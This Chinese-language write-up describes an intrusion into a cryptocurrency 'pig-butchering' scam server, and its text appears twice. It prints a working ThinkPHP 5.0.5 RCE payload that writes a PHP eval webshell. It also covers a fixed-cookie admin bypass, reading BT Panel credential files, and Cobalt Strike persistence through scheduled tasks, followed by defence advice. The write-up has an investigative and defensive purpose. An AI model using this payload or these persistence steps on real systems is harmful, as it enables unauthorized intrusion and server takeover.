某杀猪盘渗透测试
字数 1421 2025-08-20 18:17:47

杀猪盘渗透测试技术分析报告

1. 目标系统概述

本次渗透测试对象是一个虚拟货币买涨跌的杀猪盘系统,该系统具有以下特点:

  • 基于ThinkPHP 5.0.5框架开发
  • Windows操作系统环境
  • 使用宝塔面板进行服务器管理
  • 前台为虚拟货币交易平台,后台有资金审核功能

2. 初始渗透

2.1 ThinkPHP 5.0.5 RCE漏洞利用

目标系统存在ThinkPHP 5.0.5远程代码执行漏洞,利用以下payload写入webshell:

s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@file_put_contents(base64_decode(MTIzNDUucGhw),base64_decode(MTI8P3BocCBldmFsKEAkX1BPU1RbJ2EnXSk7))

解码后:

  • 文件名:12345.php
  • 文件内容:<?php eval($_POST['a']);

2.2 系统限制分析

通过phpinfo发现系统存在以下限制:

  • 禁用的系统命令执行函数:
    assert, system, passthru, exec, pcntl_exec, shell_exec, popen, proc_open
    
  • com和dl加载功能被禁用
  • 保留的文件操作函数:
    • assert()
    • file_put_contents()

3. 权限提升与横向移动

3.1 后台登录绕过

分析网站源码发现管理员cookie固定,可通过添加以下cookie字段绕过登录:

[添加特定cookie键值]

通过浏览器开发者工具(F12)添加cookie后可直接访问后台。

3.2 获取资金证据

在前台与客服交流获取以下关键证据:

  • 平台运作模式:用户将钱打入客服提供的账号 → 用户账号充值 → 后台审核 → 进行交易
  • 收集了客服提供的转账账户信息

4. 服务器深入渗透

4.1 宝塔面板发现

通过文件系统分析发现:

  • 服务器安装了宝塔面板
  • 默认8888端口开放但入口被修改
  • 找到关键文件:
    • admin_path.pl - 存储修改后的登录路径
    • default.pl - 存储登录密码
    • default.db - 记录登录账号

4.2 宝塔面板登录

通过分析上述文件获取:

  • 修改后的登录入口URL
  • 登录账号和密码

成功登录宝塔面板后,通过修改计划任务实现持久化:

  1. 在计划任务中添加CS上线马
  2. 上线后恢复原计划任务

4.3 Cobalt Strike上线

通过上述方法成功获取服务器控制权,发现:

  • 服务器仅有公网IP,无内网环境
  • 同C段存在多台部署相同系统的服务器

5. 技术要点总结

  1. ThinkPHP漏洞利用

    • 熟悉不同版本ThinkPHP的RCE漏洞利用方式
    • 掌握绕过各种限制写入webshell的技巧
  2. 权限维持方法

    • 通过计划任务实现持久化
    • 在Windows环境下利用宝塔面板的特性
  3. 信息收集技巧

    • 系统配置文件的分析与定位
    • 关键日志文件的查找与利用
  4. 取证方法

    • 资金流向证据的收集
    • 系统操作日志的保存

6. 防御建议

  1. 对于ThinkPHP系统

    • 及时升级到最新安全版本
    • 禁用不必要的PHP函数
    • 对输入参数进行严格过滤
  2. 对于宝塔面板

    • 修改默认端口和路径
    • 使用强密码并定期更换
    • 限制访问IP
  3. 系统层面

    • 实施最小权限原则
    • 定期审计系统文件和配置
    • 监控异常计划任务
  4. 应用层面

    • 不要使用固定cookie或硬编码凭证
    • 实现完善的会话管理机制
    • 对后台功能进行严格的访问控制

7. 扩展思考

  1. 当遇到命令执行函数被禁用时,可尝试以下替代方案:

    • 使用PHP的反射功能
    • 通过LD_PRELOAD等机制绕过
    • 利用已有文件操作权限进行信息收集
  2. 在Windows环境下渗透时可重点关注:

    • 注册表中的敏感信息
    • IIS或Apache的配置文件
    • 第三方管理软件如宝塔、phpStudy等的配置
  3. 对于金融类系统的渗透测试应特别注意:

    • 资金流向的证据收集
    • 用户数据的保护
    • 操作的法律边界
杀猪盘渗透测试技术分析报告 1. 目标系统概述 本次渗透测试对象是一个虚拟货币买涨跌的杀猪盘系统,该系统具有以下特点: 基于ThinkPHP 5.0.5框架开发 Windows操作系统环境 使用宝塔面板进行服务器管理 前台为虚拟货币交易平台,后台有资金审核功能 2. 初始渗透 2.1 ThinkPHP 5.0.5 RCE漏洞利用 目标系统存在ThinkPHP 5.0.5远程代码执行漏洞,利用以下payload写入webshell: 解码后: 文件名:12345.php 文件内容: <?php eval($_POST['a']); 2.2 系统限制分析 通过phpinfo发现系统存在以下限制: 禁用的系统命令执行函数: com和dl加载功能被禁用 保留的文件操作函数: assert() file_ put_ contents() 3. 权限提升与横向移动 3.1 后台登录绕过 分析网站源码发现管理员cookie固定,可通过添加以下cookie字段绕过登录: 通过浏览器开发者工具(F12)添加cookie后可直接访问后台。 3.2 获取资金证据 在前台与客服交流获取以下关键证据: 平台运作模式:用户将钱打入客服提供的账号 → 用户账号充值 → 后台审核 → 进行交易 收集了客服提供的转账账户信息 4. 服务器深入渗透 4.1 宝塔面板发现 通过文件系统分析发现: 服务器安装了宝塔面板 默认8888端口开放但入口被修改 找到关键文件: admin_path.pl - 存储修改后的登录路径 default.pl - 存储登录密码 default.db - 记录登录账号 4.2 宝塔面板登录 通过分析上述文件获取: 修改后的登录入口URL 登录账号和密码 成功登录宝塔面板后,通过修改计划任务实现持久化: 在计划任务中添加CS上线马 上线后恢复原计划任务 4.3 Cobalt Strike上线 通过上述方法成功获取服务器控制权,发现: 服务器仅有公网IP,无内网环境 同C段存在多台部署相同系统的服务器 5. 技术要点总结 ThinkPHP漏洞利用 : 熟悉不同版本ThinkPHP的RCE漏洞利用方式 掌握绕过各种限制写入webshell的技巧 权限维持方法 : 通过计划任务实现持久化 在Windows环境下利用宝塔面板的特性 信息收集技巧 : 系统配置文件的分析与定位 关键日志文件的查找与利用 取证方法 : 资金流向证据的收集 系统操作日志的保存 6. 防御建议 对于ThinkPHP系统 : 及时升级到最新安全版本 禁用不必要的PHP函数 对输入参数进行严格过滤 对于宝塔面板 : 修改默认端口和路径 使用强密码并定期更换 限制访问IP 系统层面 : 实施最小权限原则 定期审计系统文件和配置 监控异常计划任务 应用层面 : 不要使用固定cookie或硬编码凭证 实现完善的会话管理机制 对后台功能进行严格的访问控制 7. 扩展思考 当遇到命令执行函数被禁用时,可尝试以下替代方案: 使用PHP的反射功能 通过LD_ PRELOAD等机制绕过 利用已有文件操作权限进行信息收集 在Windows环境下渗透时可重点关注: 注册表中的敏感信息 IIS或Apache的配置文件 第三方管理软件如宝塔、phpStudy等的配置 对于金融类系统的渗透测试应特别注意: 资金流向的证据收集 用户数据的保护 操作的法律边界